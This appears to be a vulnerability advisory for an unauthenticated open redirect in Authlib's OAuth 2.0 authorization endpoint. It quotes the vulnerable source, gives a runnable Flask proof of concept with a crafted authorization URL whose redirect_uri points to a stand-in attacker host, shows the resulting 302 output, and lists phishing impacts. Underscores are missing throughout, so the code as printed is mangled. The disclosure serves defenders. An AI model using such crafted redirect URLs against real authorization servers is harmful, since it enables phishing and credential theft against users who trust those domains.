PT-2026-47585 · Pypi · Oauthlib
Published
2026-06-08
·
Updated
2026-06-08
CVSS v3.1
5.4
Medium
| Vector | AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N |
Summary
Authlib's OAuth 2.0 authorization endpoint can be turned into an unauthenticated open redirect when a request uses an unsupported response type and supplies an attacker-controlled redirect uri.
The vulnerable behavior happens before client lookup and before any redirect URI validation. As a result, an attacker does not need a valid client registration, an authenticated user, or any prior state. A single request to the authorization endpoint is enough to obtain a 302 Location response to an arbitrary attacker-controlled URL.
It was confirmed that the vulnerable code is present in tag v1.6.6 and in the current HEAD under test (68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1, git describe: v1.6.6-104-g68e6ab3f). The issue was dynamically reproduced locally on the current HEAD.
Details
The root cause is that
AuthorizationServer.get authorization grant() copies the raw request
redirect uri into an UnsupportedResponseTypeError before any client has been resolved and
before any redirect URI validation has happened:# authlib/oauth2/rfc6749/authorization server.py
raise UnsupportedResponseTypeError(
f"The response type '{request.payload.response type}' is not supported by the server.",
request.payload.response type,
redirect uri=request.payload.redirect uri,
)
That error object is later rendered by OAuth2Error. call (). If redirect uri is set, Authlib
automatically returns a redirect response to that URI:
# authlib/oauth2/base.py
def call (self, uri=None):
if self.redirect uri:
params = self.get body()
loc = add params to uri(self.redirect uri, params, self.redirect fragment)
return 302, "", [("Location", loc)]
return super(). call (uri=uri)
This means an unsupported response type request can force the authorization server to redirect
to an attacker-controlled URL even when:
1. no valid client exists,
2. no grant matched the request,
3. no registered redirect uri was ever checked.
This is not a contrived code path. It is reachable through the normal Authlib authorization
endpoint flow documented for Flask and Django integrations, where applications are told to call
server.get consent grant(...) and then server.handle error response(...) on OAuth2Error.
Relevant source and documentation references:
- authlib/oauth2/rfc6749/authorization server.py
- authlib/oauth2/base.py
- docs/flask/2/authorization-server.rst
- docs/django/2/authorization-server.rst
### PoC
Local test environment:
- Repository checkout: 68e6ab3fdfc71a328b1966bad5c6aba0f7d0c2e1
- git describe: v1.6.6-104-g68e6ab3f
- Python virtualenv: ./.venv
- Environment variable: AUTHLIB INSECURE TRANSPORT=true
Note: AUTHLIB INSECURE TRANSPORT=true was only used to allow local loopback HTTP reproduction.
It does not create the vulnerable behavior. In a real deployment the same logic is reachable
over HTTPS.
Run this exact PoC from the repository root:
export AUTHLIB INSECURE TRANSPORT=true
./.venv/bin/python - <<'PY'
import os, json
from flask import Flask, request
from authlib.integrations.flask oauth2 import AuthorizationServer
from authlib.oauth2 import OAuth2Error
from authlib.oauth2.rfc6749.grants import AuthorizationCodeGrant as AuthorizationCodeGrant
os.environ["AUTHLIB INSECURE TRANSPORT"] = "true"
class AuthorizationCodeGrant( AuthorizationCodeGrant):
def save authorization code(self, code, request):
raise RuntimeError("not reached")
def query authorization code(self, code, client):
return None
def delete authorization code(self, authorization code):
pass
def authenticate user(self, authorization code):
return None
app = Flask( name )
app.secret key = "testing"
server = AuthorizationServer(
app,
query client=lambda client id: None,
save token=lambda token, request: None,
)
server.register grant(AuthorizationCodeGrant)
@app.route("/oauth/authorize", methods=["GET", "POST"])
def authorize():
try:
grant = server.get consent grant(end user=None)
except OAuth2Error as error:
return server.handle error response(request, error)
return server.create authorization response(grant=grant, grant user=None)
with app.test client() as c:
cases = {
"without redirect uri": "/oauth/authorize?response type=totally-unsupported&state=s1",
"with attacker redirect uri": "/oauth/authorize?response type=totally-
unsupported&redirect uri=https%3A%2F%2Fevil.example%2Flanding&state=s1",
}
out = {}
for name, url in cases.items():
r = c.get(url)
out[name] = {
"status": r.status code,
"location": r.headers.get("Location"),
"body": r.get data(as text=True),
}
print(json.dumps(out, indent=2))
PY
Observed result:
{
"without redirect uri": {
"status": 400,
"location": null,
"body": "{"error": "unsupported response type", "error description": "totally-
unsupported", "state": "s1"}"
},
"with attacker redirect uri": {
"status": 302,
"location":
"https://evil.example/landing?error=unsupported response type&error description=totally-unsupported&state=s1",
"body": ""
}
}
This demonstrates that the only difference between a local error and an external redirect is
whether the attacker supplies redirect uri.
The same behavior was locally reproduced with the Django integration using RequestFactory; it
returned:
{
"status": 302,
"location":
"https://evil.example/landing?error=unsupported response type&error description=totally-unsupported&state=s1",
"body": ""
}
### Impact
This is an unauthenticated open redirect in an internet-facing authorization endpoint.
Who is impacted:
- Any deployment using Authlib's OAuth 2.0 authorization server and the documented authorization
endpoint flow.
- No special feature flag is required beyond running the authorization endpoint itself.
Attacker prerequisites:
- None beyond the ability to send a victim to a crafted authorization URL.
Practical harm:
- Phishing and credential theft by abusing a trusted authorization server domain as a
redirector.
- Bypass of domain-based allowlists that trust the authorization server's host.
- SSO / OAuth confusion in ecosystems where trusted authorization endpoints are expected to
reject unregistered redirect URIs before redirecting.
The issue is especially concerning because the redirect happens before client existence and
redirect URI legitimacy are established.Fix
Open Redirect
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Oauthlib